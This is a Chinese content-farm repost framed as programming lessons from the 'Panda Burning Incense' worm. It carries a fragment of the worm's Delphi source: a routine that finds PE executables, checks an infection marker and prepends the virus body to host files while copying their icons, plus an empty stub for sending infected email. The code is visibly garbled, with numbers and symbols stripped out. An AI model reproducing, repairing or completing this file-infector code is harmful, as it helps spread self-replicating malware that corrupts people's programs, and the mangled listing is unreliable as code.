知识大全从“熊猫烧香”中学程序[2]

Posted 2022-07-22 文件

篇首语：知识的价值不在于占有，而在于使用。本文由小常识网(cha138.com)小编为大家整理，主要介绍了知识大全从“熊猫烧香”中学程序[2]相关的知识，希望对你有一定的参考价值。

procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);　　begin 　　 Si cb := SizeOf(Si); 　　 Si lpReserved := nil; 　　 Si lpDesktop := nil; 　　 Si lpTitle := nil; 　　 Si dwFlags := STARTF_USESHOWWINDOW; 　　 Si wShowWindow := State; 　　Si cbReserved := ; 　　Si lpReserved := nil;　　end;　　发带毒邮件　　procedure SendMail;　　begin 　　 //哪位仁兄愿意完成之？　　end;　　感染PE文件　　procedure InfectOneFile(FileName: string);　　var 　　 HdrStream SrcStream: TFileStream; 　　 IcoStream DstStream: TMemoryStream; 　　iID: LongInt; 　　aIcon: TIcon; 　　Infected IsPE: Boolean; 　　 i: Integer; 　　 Buf: array[ ] of Char;　　begin 　　 try //出错则文件正在被使用退出　　 if CompareText(FileName JAPUSSY EXE ) = then //是自己则不感染　　 Exit; 　　 Infected := False; 　　 IsPE := False; 　　 SrcStream := TFileStream Create(FileName fmOpenRead); 　　try 　　 for i := to $ do //检查PE文件头　　 begin 　　 SrcStream Seek(i soFromBeginning); 　　 SrcStream Read(Buf ); 　　 if (Buf[ ] = # ) and (Buf[ ] = # ) then //PE标记　　 begin 　　 IsPE := True; //是PE文件　　 Break; 　　 end; 　　end;　　　 SrcStream Seek( soFromEnd); //检查感染标记　　 SrcStream Read(iID ); 　　 if (iID = ID) or (SrcStream Size < ) then //太小的文件不感染　　 Infected := True; 　　 finally 　　 SrcStream Free; 　　 end; 　　 if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出　　 Exit; 　　 IcoStream := TMemoryStream Create; 　　DstStream := TMemoryStream Create; 　　 try 　　 aIcon := TIcon Create; 　　 try 　　 //得到被感染文件的主图标( 字节) 存入流　　 aIcon ReleaseHandle; 　　 aIcon Handle := ExtractIcon(HInstance PChar(FileName) ); 　　 aIcon SaveToStream(IcoStream); 　　 finally 　　 aIcon Free; 　　 end; 　　 SrcStream := TFileStream Create(FileName fmOpenRead); 　　 //头文件　　 HdrStream := TFileStream Create(ParamStr( ) fmOpenRead or fmShareDenyNone); 　　 try 　　 //写入病毒体主图标之前的数据　　 CopyStream(HdrStream DstStream IconOffset); 　　 //写入目前程序的主图标　　 CopyStream(IcoStream DstStream IconOffset IconSize); 　　 //写入病毒体主图标到病毒体尾部之间的数据　　 CopyStream(HdrStream IconTail DstStream IconTail HeaderSize IconTail); 　　 //写入宿主程序 cha138/Article/program/Delphi/201311/8474

知识大全 从“熊猫烧香”中学程序[2]

知识大全从“熊猫烧香”中学程序[2]